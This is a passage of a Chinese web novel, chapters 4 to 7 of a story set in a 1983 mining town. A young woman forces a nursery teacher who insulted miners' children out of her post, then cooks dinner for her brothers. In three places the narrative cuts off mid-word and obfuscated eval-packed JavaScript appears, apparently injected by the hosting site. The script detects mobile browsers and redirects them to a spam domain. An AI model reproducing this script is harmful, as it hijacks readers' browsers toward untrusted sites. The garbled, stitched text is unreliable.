贺家人也不知道是真傻还是装傻,孩子都在她班里快一年了,余老师暗示的话说得嘴皮子都快磨破了,也不知道要表示表示。 对于这种没眼力劲的糊涂家长,多让孩子在班里待一天她都难受! “我告诉你,你赶紧把贺明华给我领走!机关托儿所不收你们家的破孩子!” 余老师的声音又尖又利,指着贺明珠鼻子的手都快戳眼皮子上了。 贺小弟今天本来就被老师吓得够呛,现在更是被吓出一包眼泪,瘪着嘴,要哭不哭的。 他死死抱住姐姐的腿,惊恐万分,像只被吓傻的小狗崽。 下一秒,他感到姐姐的手安抚似的捏了捏他的后脖子。 虽然力气有点大,捏得他痛痛的,而且怎么感觉有点像在捏小猫后脖子…… 但莫名的,贺小弟忽然就没那么怕了。 对于余老师的叫嚣,贺明珠并没有像其他人想象得那样,扑上去和她撕头发吐口水扯裤子(不是……) 相反,她有些过分冷静地说:“机关托儿所是矿务局拨款办的,你的每一分工资是矿工挖煤挣来的钱——你拿着矿工的卖命钱,骂矿工的孩子是矿猴儿?骂矿工的孩子不配和领导的孩子待在一个托儿所?” 余老师的骂声一顿。 她忽然意识到自己刚刚好像说了不该说的话。 但当着同事的面,她不乐意把说出的话收回去,太跌份了。 再说了,其他人应该也是这么想的吧? 她之前在办公室骂贺家不会教孩子时,就有人附和她说得对,矿上的都是些不听话的野孩子,不是打架骂人就是吐口水,有人生没人养的,将来都得去蹲号子。 既然没人反驳她,说明大家心里都是这么想的嘛。 想到这里,余老师心里多了几分底气。 她梗着脖子说:“对!就是我说的!有本事你去贴我的大字报,看看会不会有革|委会来革我的命!” 要不是旁边有老师拦着,她都要去扯贺明珠头发了。 贺明珠后退一步,避开余老师的唾沫星子攻击。 “我不贴你的大字报。” 她说:“我替你把话带到矿上。” “今天你说过的所有话,我替你告诉每一个矿工。” 话音未落,脑子转的快的老师心里就是一咯噔,看贺明珠的眼神带上了些忌惮。 其他人还没明白过来,心想这矿工小孩的姐姐是不是被老余骂傻了,光带个话有什么用,难道还有人替她出头不成? 就算真有胆肥的敢来机关托儿所闹事儿,隔条街是公安分局,他们政委的女儿就在这儿上学。 到时候,闹事儿的人前脚刚到,托儿所一个电话打过去,后脚公安就来抓人。 也有老师心想这矿上的孩子也就知道找人打架了,看着挺聪明的小姑娘,怎么就不知道该服软时要服软呢? 低个头,服个软,和余老师道个歉,这事儿不就过去了吗? 难道所里还真能因为余老师几句话,就把矿长批条子送过来的小孩撵出去?想也不可能嘛。 不管其他人都是怎么想的,贺明珠盯着余老师,平静地说: “我会把你的原话告诉所有人。” 她一字一顿:“因公牺牲是死得活该,烈士孩子是低人一等。” “机关托儿所一边拿着煤矿的拨款,一边贬低着挖煤的工人。” “所有乌城矿工都应该知道这件事,知道他们一锹一铲运出的煤,到底养活了什么人。” 无人说话,现场众人神色各异。 有人羞愧,有人恼怒,有人担忧,也有人无动于衷。 脑子转得快的那位老师试图阻拦:“贺明华姐姐,有事好商量,没必要把事闹得这么大……” 她话没说完,就被余老师抢话:“拦什么拦,王老师别管她!我倒要看看她能掀起什么浪!” 王老师急得直跺脚:“嗨,和你都说不清!” 余老师听了觉得很不舒服,什么叫和她说不清? 但对方比她早几年来单位,她不能像呵斥年轻老师一样去呵斥王老师,只好忿忿地白她一眼。 然而,当看到贺明珠要带着弟弟离开,余老师立刻又觉得是自己吵赢了,得意洋洋翘起尾巴。 “走得好,算你还有自知之明!赶紧的,矿猴儿就不配留在机关托儿所!” 另一位年纪大的老师不赞同地看她一眼。 “老余啊,你怎么能这么说话呢。” 余老师一点都没觉得自己有哪儿说的有问题,却见那位王老师,急匆匆拔腿去拦贺家姐弟。 “贺明华姐姐,你先别走,等一下……” 余老师嗤之以鼻:“等什么等,贺明华已经被开除了!” “谁说的开除!” 话音未落,一道威严男声响起。 众人闻声看去,是托儿所所长。 “余老师,谁批准你随便开除学生了?!” 原来是有机灵的老师,早在余老师嚷嚷起来时,就偷偷跑去找托儿所所长。 躲在办公室里的所长也听到了走廊里传来的吵闹声,余老师尖锐的声音像一把锥子,从太阳穴直直扎进他的脑壳里。 所长原本是不想出面的,随她们去吵,一个矿工家的孩子而已,就算是矿长批的条子,但他的托儿所里最不缺的就是领导家长,一点小事而已,能闹多大? 但后面余老师越说越过分,眼见要挑起矿工和机关托儿所之间的矛盾,他就再也躲不下去,不得不出来平息事端。 所长不快而威严地瞪视一圈:“都围在这里干什么?不上课了也不管学生了?!回各自教室去!” 等老师们都散去,他对贺明珠和余老师说:“你们两个,到我办公室来一趟!” 余老师虽然泼,但到底有三分怵领导。 她一扫之前的威风劲儿,不情不愿地拜托年轻同事帮忙看会儿班。 贺明珠却一动不动。 “所长同志,有什么事就在这里说吧,我赶时间带我弟弟去矿上呢。” 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457094|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长头疼。 他刚刚在办公室就听出来了,这个贺明华的姐姐可是相当不好惹。 别看年纪小,但说出来的话也不知是有意还是无意,每一句都埋了雷。 偏偏余老师是个蠢的,愣是把雷踩了个遍,比他娘的探测仪还精准! 贺家姑娘不避不让地与他对视,眼神清凌凌的,像一块冰。 贺家什么时候出了这么个不好惹的硬茬子啊! 所长头更疼了。 “事情我都知道了。” 所长先对余老师说: “余老师,你身为老师,怎么能把学生分成三六九等?社会|主义国家怎么能存在这样的歧视人的行为!” 余老师想争辩,却被所长拿话拦下。 “你和贺明华姐姐吵架时说的话我都听到了,你也是个老同志,难道不知道无心的气话也伤人吗?” “我知道你是为学生着急,但正是因为学生有缺点,所以才更需要老师的教育。怎么能因为学生没被家里教好,就轻易放弃呢?” 无心的气话。 学生没被家里教好。 所长在关键词上充满暗示性地加重语气。 余老师也是人精,虽然对待没背景的人时简单粗暴,但在需要心计的时候,她脑子还是很好用的。 因此,即使余老师极不服气,并不理解为什么所长要替贺明珠说话,但还是顺着所长的暗示,忍气吞声道: “所长您说的对,是我太着急了,太想把学生教好,被家长拿话一激,才气得说出一些不该说的话,这确实是我有些冲动了,但也不能怨我,谁让贺明华和他姐姐太气人了……” 所长满意又不满意,但总算这锅甩出去一半。 他又对贺明珠说:“我知道你家里父母去世后,你的压力太大了,没心情管教弟弟。但教育是需要学校和家长的共同合作,而不是指望把孩子送到学校后就一送了之。” “再怎么说,你弟弟不该和同学打架,你也不该和老师吵架。要是家长都像你一样冲动,学校还怎么开展工作?你说我说得对不对?” 所长弯下腰,和蔼地要伸手去摸贺小弟的脸蛋。 贺小弟下意识往后缩,不让他碰到自己。 ——这个老男人笑得好恐怖哦,就像故事里咯吱咯吱吃小孩手指头的虎姑婆。 所长动作顿了顿,笑容不变,直起身来。 “你看你弟弟自从来了托儿所后,是不是变胖了,也变懂事了?这都是余老师的功劳。她像对待自家孩子一样对待学生,虽然有时候脾气急,但本心是好的,希望你不要误会。” 像上辈子一样,所长说:“你也给余老师道个歉吧” 贺明珠没说话。 她盯着所长看,直把所长盯得有些毛骨悚然。 “贺明华姐姐,你有什么想说的就说吧。”所长按捺不住,先开口道。 “咱们把话说开了,这事儿就算过去了。” 贺明珠终于开口。 “过去?” “要怎么过去?” 她奇异道:“这位余老师,她对我父母的侮辱,对所有矿工和家属的侮辱,您就这样轻描淡写地忽略了吗?” “我的父亲是因公牺牲的英雄,在她口中却成了死得活该; 矿工是乌城矿务局的主人,可矿工的孩子却不配和领导的孩子待在同一家托儿所。” “所长同志,你觉得这个事要怎么过去呢?” 5. 第 5 章 听了贺明珠的话,所长顿觉不妙。 怎么会这样? 居然没糊弄过去! 所长消息灵通,早就听说邻省有工人不满单位区别对待,上面领导吃香喝辣,底下工人连工资都快发不起。 有个二傻子自制了土炸|弹绑在身上,在开会时冲进去,威胁要是今天不发工资,就炸死领导们。 这两年社会氛围不好,经常有人聚集起来闹事儿。 前段时间,本地有个村子不知道因为什么冲击了县政府,当地警察压不住,还调来了驻扎部队。 类似的事情出现了好几起,现在整个乌城都在严防死守类似事故的发生。 现在矿工之所以能够在事故频发的情况下保证正常的生产秩序,一方面是因为矿工的工资待遇是全矿务局,乃至全市全省头一档的。 1983年,全国有几家单位工人的工资能超过一百块啊? 另一方面则是矿务局对矿难牺牲者的遗属的保障非常到位,不仅有高额的抚恤金,而且允许家属随时接班,不受岗位是否缺额的限制。 要知道有的单位就卡着说不缺人,就算子女接了父母的班,也不让人来上班,更别提发工资了。 但要是余老师说的话被工人们知道了 ——因公牺牲矿工的孩子被机关托儿所老师区别对待,还被骂矿猴儿 怒气值+1+1+1+1…… ——这个孩子还被机关托儿所开除了 怒气值瞬间冲爆计量表。 那不得闹出大乱子啊! 就算所有人都知道机关托儿所是给领导的特权福利,比一般工人托儿所的待遇不知好到哪里去,但这种事是不能放在台面上说的。 有些事不上秤没有二两重,上了秤千斤也打不住。 一旦细究起来,哦,合着我们矿工的孩子天天在工人托儿所吃大白菜土豆,你们领导的孩子就在机关托儿所顿顿红烧肉啊? 好不容易有孩子也能去享受享受红烧肉,还要被开除了,说什么矿工因公牺牲是死的活该之类的诛心话—— 所长几乎能想象到整个托儿所被炸飞上天的画面了。 与之一起飞上天的,还有他那顶小小的乌纱帽。 到时上面怪罪下来,献祭一个余老师有什么用,最后还不得是他顶雷吗?! 想到这里,所长立刻就对贺明珠表态:“这个事当然不能就这么过去!” 他看向余老师。 余老师心里忽然涌起一阵不祥的预感。 所长说:“余老师说得当然不对,她的思想太不正确了,充满了不正之风,我这就让她向你道歉!” “余老师,快给贺明华姐姐道歉!” 预感成真。 余老师的眉毛一下子就立起来了,当场就跳了起来。 “凭什么!我才不向这个小毛孩子道歉!” 她不明白明明刚刚还好好的,怎么所长突然就要自己道歉?难道是之前她托人在肉联厂买的猪头没送到所长心坎上? 不应该啊,明明是所长暗示她猪头肉下酒特别香的啊。 余老师百思不得其解。 所长完全没有吃人嘴软的态度,厉声喝道:“不道歉你以后就别在机关托儿所上班!我伺候不起你这尊大佛!” 这句话一下就掐住了余老师的七寸。 余老师又气又怕,嘴唇都在哆嗦。 她看看所长,又看看贺明珠,忽然摘下眼镜,眼眶一湿,声音颤抖地说: “你们联合起来欺负我一个老同志……” 余老师泪洒当场。 贺明珠瞳孔巨震。 前世今生加起来,她可头一次看到余老师这么柔弱的一面啊! 她之前像疯狗一样咆哮,恨不能把贺明珠贺小弟连皮活吃了。 现在委屈得好像贺明珠不仅偷了她家的鸡蛋,还逼着公鸡现场表演下蛋。 到底是谁欺负谁啊?! 所长见惯这场面,丝毫不为所动,甚至还有些不耐烦地说: “如果不是你欺负人家孩子没爹没妈,端着矿务局的碗,看不起矿工孩子,哪会有今天的麻烦!” 余老师的哭声一顿。 贺明珠冷眼旁观。 上辈子她压根没听过所长这么公正的话,反而是一直在压着贺明珠向余老师道歉。 当年贺明珠觉得委屈极了,明明不是她的错,凭什么所有人都逼她道歉? 后来有一次她才意识到,哪有什么公平正义,谁更好说话更软弱可欺,谁就是那个所谓“和平”的突破口。 所长是个裱糊匠,他的逻辑其实一直没变,谁更好欺负就糊弄谁。 也就是俗话说的按闹分配。 上次她是更好欺负的一方。 这次轮到余老师了。 所长说:“你要是不道歉就调到工人托儿所吧,我们机关托儿所不需要你这样的老师!” 余老师这下是真害怕了。 工人托儿所的老师每月工资只有三十五块,逢年过节什么福利都没有。 最关键的是,她要是去了工人托儿所,就没办法再打着孩子的旗号找领导家长们办事、捞好处了。 她儿子的工作还没着落呢! 余老师怨恨地看向贺明珠,嗫喏着,想说点什么狠的。 贺明珠却似笑非笑地看着她。 余老师脸色铁青,快被气心梗了。 所长不耐烦地催促:“余老师!” 在旁边所长视线威胁下,余老师张了张嘴,一咬牙,下定决心,用极低的声音,语速极快地说道: “对不住我不该说那样的话我老糊涂了嘴上没把门的你千万别和我计较。” 她又怨又恨,只希望事情赶紧结束。 余老师甚至在后悔,要早知道贺家姐姐不好惹就好了,她肯定不拿贺明华当软柿子捏。 本来以为道完歉事情就结束了,余老师却听到贺明珠说:“你需要道歉的不是我。” 余老师顺着贺明珠的视线,看到怯生生躲在她身后的贺小弟。 她顿时勃然大怒! 自己都向贺明珠这个小毛孩子低头认错了,这已经是极大的让步和牺牲了,怎么还没完没了了! 贺明珠拎着贺小弟的后脖领子,拎猫似的把他提溜到前面。 “受到最多伤害的是他,你的学生。” 余老师没来得及发出的火气就生生咽了下去。 贺小弟新奇又害怕地瞧老师,想往姐姐身后缩,又被她推着后背推到前面。 余老师求助地看向所长。 所长已经不想管这摊子烂事儿了:“不就是道个歉吗?快点吧。” 已经低过一次头了,再低一次头似乎就没那么艰难。 余老师笑得像哭,对贺小弟说:“对不起,老师不该那样说你,其实你是个好孩子……” 贺小弟的眼睛亮了起来。 姐姐好厉害!原来这个一直对他凶巴巴的老师也会说不凶巴巴的话啊! 再看看始终护着自己的姐姐,贺小弟忽然从心底涌上一股底气。 他以后再也不会害怕了。 余老师道完歉后像霜打了的茄子,彻底蔫了,再没有之前的气焰。 所长说:“余老师也道歉了,贺明华姐姐,这样你看行吗?” 贺明珠立刻就说:“谢谢所长同志为我们做主,幸好机关托儿所有您这样的领导,不然我们就算再委屈也没办法,您真是矿上的好干部。” 被漂亮小姑娘捧了一把,所长原本还有些不痛快,现在心情舒服多了。 所长说:“行了,今天就这样吧,你们先回去吧,明天我给你弟弟换个班,以后好好上学吧。” 贺明珠却摇头:“不行。” 所长有点不快:“怎么又不行了?哪里不行?” 余老师心里一咯噔,直觉这又是冲自己来的。她现在后悔极了,当时怎么就没管住嘴呢? 贺明珠说:“应该换班的不是我弟,他没做错,为什么要让他去一个完全陌生的环境,重新适应班级、重新认识同学?这不公平。” 原来是为这啊,所长随意道:“那就换老师,让余老师去教其他班好了。” 贺明珠不答反问:“所长同志,您觉得以余同志的所作所为,她还配当一名光荣的人民教师吗?” 听到这话,还不待所长说话,余老师瞪大了眼睛,从嗓子眼里挤出一声尖叫:“我都已经向你弟弟道歉了,你还要怎样!你是要逼死我吗!” 所长怕把人逼急了,和稀泥道:“余老师平时还是很称职的,今天就是有点冲动,你也别得理不饶人,差不多就行了啊。” 贺明珠的态度很坚决。 “她今天能这样粗暴对待我弟,明天就能以同样甚至更糟的态度对待其他家庭普通的小孩。俗话说,江山易改本性难移,我不能放任这样一个情绪不稳定、歧视矿工的定时炸弹留在机关托儿所,这是极大的不负责任。” 所长皱着眉头:“怎么就不负责任了?你这孩子太倔了,见好就收啊,别没完没了的。” 贺明珠不闪不避直视过去:“您能保证余老师不会在托儿所发表歧视矿工的言论?您能保证没有小孩受余老师影响去欺负矿工家孩子?还是您能保证托儿所的其他老师在看到余老师没有受到任何惩罚时,不会觉得‘反正侮辱矿工没有后果、那就随便对待矿工家的小孩好了’?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457095|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所长瞠目结舌,这三个问题太刁钻了,他怎么替别人保证?再说他自己都看不起矿工,怎么管托儿所不歧视矿工? 贺明珠看他脸上表情变幻,轻飘飘补了一句:“余老师继续留下也行,但如果我再听到一句矿猴儿,咱们就矿上见——我不怕把事情闹大,只怕闹得不够大。” 所长马上就下定决心了。 他属泥鳅的,滑不留手,担责任是万万不可能,弃车保帅这种事一向做的很熟练。 “你说得有道理,余老师确实不适合继续留在托儿所当老师。” 余老师听到这话,脑子嗡的一声,眼前一阵阵的晕眩,几乎要站不稳。 周围几个教室里老师的说话声音也停了下来,屏气凝神地偷听所长对余老师的处理结果。 所长宣布道:“老余,你的岗位调整一下,明天起你去食堂帮厨。” 余老师磕磕巴巴试图争辩:“我,我是老师,我不去食堂……” 所长已经很不耐烦了,把不敢对贺明珠发的火气都发泄在余老师身上。 “什么老师?!有你这么当老师的?!你要是不去食堂,以后别来上班,你孩子也别想来接班!” 余老师彻底蔫了,腿一软,就瘫在了地上。 其他老师惊到目瞪口呆,乖乖,骂个矿工家的孩子居然有这么严重的后果?!看来以后可不能再欺负矿工家里的小孩了! 当贺家一大一小离开机关托儿所时,帮忙开门的看门大爷还说:“今天这么早就接孩子啊?” 贺明珠推着二八大杠,贺小弟背着单肩小布兜,蹦蹦跶跶跟在姐姐身旁。 “姐,你今天真厉害!” 贺明珠不为所动:“把你鼻涕擦擦。” 贺小弟豪迈地拿黑乎乎的袖子一蹭鼻子,就算擦过鼻涕了。 贺明珠余光扫过,简直没眼看。 “贺明华!” 贺明珠把自行车停路边,抓过贺小弟,掏出手帕,捂在他鼻子上。 “擤!” 贺小弟听话用力。 贺明珠两只指头拎着沾了鼻涕的手帕,嫌弃极了。想了想,拉开贺小弟的小布兜,把手帕扔进去。 “贺明华,要不是你是我亲弟,我就把你扔了。” 贺小弟昂着小脖子:“不能扔!” 贺明珠说:“是是是,不能扔,我要是扔了你,回头咱爸妈就得给我托梦了。” 贺小弟说:“对!” 贺明珠模仿着爹妈的语气,说:“明珠啊,你怎么能把弟弟扔了呢?我们怎么教育你的,怎么能随地扔垃圾呢?起码得找个垃圾桶吧。” 贺小弟听前面还挺乐呵的,听到后面懵了:“……啊?” 贺明珠逗他:“对啊对啊,弟弟就是垃圾桶捡回来的。” 贺小弟这下听明白了,气哼哼一甩小胳膊,自顾自往前走。 “你才是从垃圾桶捡回来的!我再也不和你好了!” 他的两条小胖腿倒腾还挺快,一会儿就走出好一段距离。 贺明珠跨上二八大杠,慢悠悠骑到贺小弟旁边。 “那你自己走吧,我骑车回家了。” 贺小弟急得跑起来追车:“我也要坐车回家!” 晚上,贺大哥下班回家后,发现自家小弟坐在炉子前的小板凳上,一脸委屈,看到他就撇嘴要哭。 贺大哥一把拎起小弟,就像拿小玩具似的,举在手里端详:“今天打架没赢?” 贺小弟踢腾着两条腾空的小腿:“不是!我赢了!” “那是怎么了?这么委屈?” 转眼看到自家妹妹一脸心虚地凑过来。 “这小子又不听话,你收拾他了?” 贺明珠试图解释:“倒也不是……” “就是我今天骑车带小弟回家的时候,不小心踢到了他……” 贺小弟大声补充:“姐姐一脚就把我踹飞了!” 二八大杠的车座车把之间有条横杠,但后世自行车的设计基本都将这条杠删掉了。 骑惯了后世自行车,贺明珠开始时极不习惯,但家里现在就这一个交通工具,有啥用啥吧。 她在去托儿所的路上,艰难回忆起老式上车法—— 左脚踩脚蹬,右脚助跑,用力蹬上几下,自行车顺利起步,然后抬右腿跨上车,完美! 但问题出在最后一步了。 贺明珠忘了后座上还有个贺小弟。 她一个助跑后飞身上车,右腿那么一跨,“啪”地就把贺小弟水灵灵掀下车了。 贺明珠毫无感觉,骑了一段后,才反应过来后座似乎有点太安静了。 停下车,她回头一看,贺小弟正在后面追着车狂奔呢。 6. 第 6 章 贺大哥在得知事情经过后,笑得直咳嗽。 贺小弟气鼓鼓的,他拍拍小弟的屁股:“男子汉大丈夫,这点小事有什么好生气的。去,把哥的包拿过来。” 贺小弟屁颠屁颠就过去了,过了会儿,两只小手艰难地拖着只巨大的蓝布包回来。 贺大哥从包里掏出铁饭盒,打开盒盖,拎出块肉,塞到贺小弟嘴里。 “吃去吧,还有面包呢。” 贺小弟一边嚼着肉,一边抽空说:“不吃面包!” 贺明珠奇道:“哪来的面包?” 贺大哥拿出块油纸包的面包,递给贺明珠:“下井发的加餐,和之前的面包一样,你吃不吃?” 贺明珠接过面包,就着灯泡昏暗的光线端详。 矿上发的面包和后世香甜柔软的小面包完全不一样,硬邦邦的,还散发着酸味。 她试探性地咬了一小口。 噫,好难吃! 比她减肥时买的全麦面包还难吃! 那个全麦面包长得跟砖头似的,吃起来像在嚼锯末,脖子被噎得能伸出二里地。 贺明珠每吃一口都在反思自己为什么会沦落到吃这玩意的地步。 贺大哥看她吃的一脸痛苦,问道:“你之前不是不爱吃面包吗?怎么今天想起要吃?” 贺明珠心想,我不是重生回来忘了吗? 矿上以前来过苏联专家支援建设,专家爱吃家乡大列巴,食堂学会后就每天做好送到井下。 后来专家撤了,但下井加餐吃苏式大面包的习惯却保留了下来。 这玩意说起来是外国货,而且还是粮食做的,因此不少矿工不舍得自己吃,带回来给家里人。 贺明珠捏着被她咬了一口的面包,意思半天咬不下去第二口。 贺大哥一脸好笑,索性从她手中拿走面包,自己三口两口吃完。 “今天还难受吗?大夫说了,你要是再发烧的话,就得去卫生院输液了。” 贺明珠忽然想起,上辈子她没有遇到债主上门逼债的事,可能不是因为对方没来,而是因为她当时烧迷糊了,压根没听到有人敲门。 而这一次,她重生后太过亢奋,全身血液沸腾,硬生生把发烧压下去,这才要债的人来了次正面对决。 想到这,贺明珠把有人上门要钱,还让她拿工作抵债的事和贺大哥说了。 贺大哥听了有些急,张开嘴没说话呢,气喘连续咳嗽。 贺明珠要给他拍背,他摆摆手不用,缓过气后问她:“来的那个人你认识吗?” 贺明珠说:“我不认识,他说是咱爸的同事,咱们家欠了他二百块。” “二百?” 贺大哥正回忆是哪个债主时,一扭头看到自家小妹正眼巴巴看着他。 他心一软,就说:“欠债的事儿你别管,有哥呢,你好好上学就行。” 贺明珠却说:“哥,你至少得让我知道家里欠债是什么情况,万一下次再有人趁你不在家找我呢?” 贺大哥本想拒绝,但听到最后一句话,他改了主意。 他拿出记账本,带着贺明珠盘账。 “家里之前欠了七千,今年我拿工资还了一千一,电视缝纫机什么的抵了九百,现在还欠五千。” 贺大哥收起记账本,说:“你知道这些就行了,再有个四五年,我就把债都还清了。” 他叮嘱妹妹:“以后再有人来找你要工作,你让他们都来找我。” 贺明珠没想到大哥一年就还了这么多的钱。 看他皮肤指缝洗不掉的黑色煤痕,磨得发白的棉袄,说话时习惯性清嗓子,咳嗽不断。 上辈子大哥就是因为常年在井下挖煤,年纪轻轻就得了矽肺。 没等到肺源,他四十出头就去世了。 贺明珠说:“大哥,你别下井了,换个地面岗位吧。” 贺大哥说:“说什么傻话,井下和地面工资差了快三倍,地面的那些人想下井还没机会呢。” 贺明珠急道:“可是大哥……” 贺大哥说:“别可是了,我还想给家里再买台电视呢。” 贺小弟捕捉到关键词,欢呼道:“电视!我也要电视!” 贺明珠拿脚轻轻踢开小弟,心烦道:“你个小屁孩懂什么,哪儿凉快哪儿呆着去。” 贺小弟敢怒不敢言,哼了一声,自己跑到院子里玩去了。 贺大哥笑眯眯看她收拾贺小弟,站起身说:“好了,我去做饭。” 贺家房子是单位分的,一大一小的两间平房,没厨房,贺父就在院里搭了个小屋充作厨房。 厨房小得转不开身,贺大哥一个人就把地方占得满满当当。 贺明珠追着他劝,就扒在门口,苦口婆心劝他换个岗位。 贺大哥也不管她,自顾自地说:“今天食堂有红烧肉,我打了一份回来,晚上正好和白菜土豆炖一起——你要吃几个馒头?” 贺明珠劝不动他,赌气道:“不吃了!吃什么吃,气都气饱了。” 贺大哥说:“好,吃两个!” 贺明珠气得原地跳脚:“哥!!!” 贺大哥做饭主打一个豪迈。 土豆不削皮,扔盆里洗了几下,捞出来直接切粗条;大白菜掰开撕成片,继续扔水里涮一涮,。 他往灶台下塞了一把柴,火旺起来,大锅开始冒烟。 然后抄起饭盒,一个倒扣就把肉全扔锅里。 不等锅里冷肉上的油脂化开,他就要把土豆条和白菜叶子通通扔进锅里。 贺明珠大喊一声:“等等!” 她挤进厨房,扒拉开贺大哥,抢过锅铲。 “哥,我来我来!” 贺大哥往旁边挤她:“得了吧,你那小身板,还是好好养病吧。” 贺明珠奋力和他对抗:“再吃你做的饭我的病才好不了吧。” 贺大哥动作一顿,怀疑道:“我做的有那么难吃吗?” 贺明珠狂点头:“有的有的!” 她简直不想回忆被自家大哥黑暗料理荼毒的惨烈过往了…… 谁家正经人炖茄子能炖出一锅沸腾的鼻涕虫啊摔! 贺大哥:…… 贺大哥悻悻让开。 矿上食堂做的红烧肉,五花三层是没有的,有的是浑然天成的大肥肉块儿,肥而又腻;还有的是是半肥瘦,瘦多肥少。 贺明珠一看这肉就皱眉。 要么是厨师手艺太潮,要么就是采购贪污了经费,买的都是不适合做红烧肉的后腿肉。 她先把瘦肉多的部分捞出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457096|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,顺便使唤大哥把灶台的火弄小点,她用习惯了燃气灶,不会用这种柴火灶台。 然后她把肥肉切小块,放入热锅中小火慢煎。 在火焰炙烤下,锅里汪起薄薄一层油,肥肉片被煎得滋滋作响,散发出油脂的香气。 贺明珠熟练地翻炒,确保肥肉每面都受热均匀,逼出最后一滴油。 接着她把瘦肉扔进锅煸炒,撒一小撮盐调味。 肉香从厨房溢出来,贺小弟咽着口水就凑过来了,顾不上之前姐姐踢他,没出息地撒娇: “姐,我饿了~” 贺明珠问他:“还要电视吗?” 贺小弟掷地有声:“我不要!” 贺明珠满意点头,筷子夹起一块肉,吹了吹,对贺小弟说:“张嘴。” 贺小弟就像在接受牙医检查,努力张大嘴:“啊——” 贺明珠精准把肉扔进去,贺小弟先是被烫的呼呼吹气,嚼了两口后眼睛一亮,还没等咽下就大喊:“我还要!” 贺明珠抬抬下巴:“去,把手洗干净,等下准备吃饭。” 贺小弟屁颠屁颠就去洗手了。 贺大哥“啧”了一声,这小邋遢鬼今天怎么转性了,这肉有这么好吃吗? 他探头往锅里看了一眼。 唔,虽然不想承认,但似乎好像,确实要比之前看起来好吃一点。 肥肉被煎出最后一滴油,色泽焦黄,让人几乎可以想象到牙齿咬下去时那种酥脆微硬的口感。 瘦肉的纹理分明,表面是诱人的深红色,还有几处炙烤的焦痕,外焦里嫩,肉汁被锁在内里,不干不柴,恰到好处。 贺大哥吞咽了下口水。 明明刚刚才吃了一整个列巴式面包,但他现在忽然感觉饥肠辘辘。 肉炒得差不多了,贺明珠把重新洗过的白菜和土豆先后放进锅里翻炒,油脂均匀地裹在菜上,折射出极为诱人的光泽。 厨房里调料种类少,除了盐糖醋,就是酱油。 贺明珠看了一圈,往锅里倒了点酱油上色调味,又少加了点糖增鲜。 看到案板旁不知什么时候放的小西红柿,有点蔫吧,但天气冷,还没坏。 她拿过来洗干净,去皮切块,扔到锅里。 火舌舔舐铁锅,温度升高,锅里渐渐散发出肉香与菜香混合的浓烈香气。 一旁抱臂站着的贺大哥忍不住翕动了几下鼻翼。 怎么会这么香? 自家亲妹做的饭他之前也不是没吃过,但还在家常菜的范围内,不像今天,菜还没出锅,已经展露出极霸道的香气。 之前他同事结婚,在国营饭店请客,但即使是大厨师的拿手菜,和小妹现在做的相比,是好吃,但没有这样勾人食欲。 香气像钩子,轻悄将他肚子里的馋虫都勾出来,口中疯狂分泌口水,越闻越饿。 大哥还忍得住,只是默默吞口水。 小弟已经急得上蹿下跳,像个小跳豆似的在贺明珠腿边打转,急得连声喊“姐姐姐姐”。 贺明珠冷酷无情把锅盖罩在大铁锅上,同时也把菜里的水汽也锁住,香气一下就淡下去了。 贺大哥和贺小弟脸上同时露出遗憾表情。 贺明珠转身面对他俩,微抬下巴:“吃几个馒头?” 7. 第 7 章 菜出锅了。 没有加一滴水的汤汁极为香浓,白菜清甜,土豆绵软,肉片肥而不腻。 贺大哥抄着大铁勺,麻利将菜分到每人碗中,再浇上一勺汤。 贺小弟急得跳:“我自己端,我自己端!” 刚出锅的菜滚烫,贺大哥不放心让他来,抬脚轻轻把他拨开,安排了个小活儿:“搬凳子去。” 三碗菜端上桌,中间盘子放着热好的杂粮面馒头。 贺明珠夹了一筷子菜,品品味儿,不满意地摇摇头。 食堂厨师下的调料太重,完全压住了食物的本味。 即使她已经尽力去挽救,但还是有点不太行。 大概是因为小时候总缺嘴,吃不上什么好东西,天天土豆白菜杂粮面,偶尔吃次肉都算改善伙食。 小时候,贺明珠能把指头大的一块冰糖吃上三四天,二哥馋的不行,还想从她嘴里掏糖,被贺母看见了,按住抽了二哥好几巴掌。 贺明珠站在旁边,一边珍惜地嗦着冰糖,一边看二哥被妈打得嗷嗷叫。 等打完了,她把冰糖咬成两半,大方分给二哥一半。二哥脸上还挂着泪,看到冰糖就露出一个缺门牙的巨大笑容。 小时候馋得狠了,贺明珠在经济独立后对吃饭这事儿很有执念。 她特别爱琢磨吃,不仅有空就找菜谱找视频来研究,还专门找了新东方优秀毕业生付费上课。 小师傅自己开饭馆,因为滋味极佳,每日顾客盈门,短短几年就开了好几家分店。 他是苦出身的穷孩子,空手攒下家业,非常自得,在上课之余,还给她分享开店的心得体会。 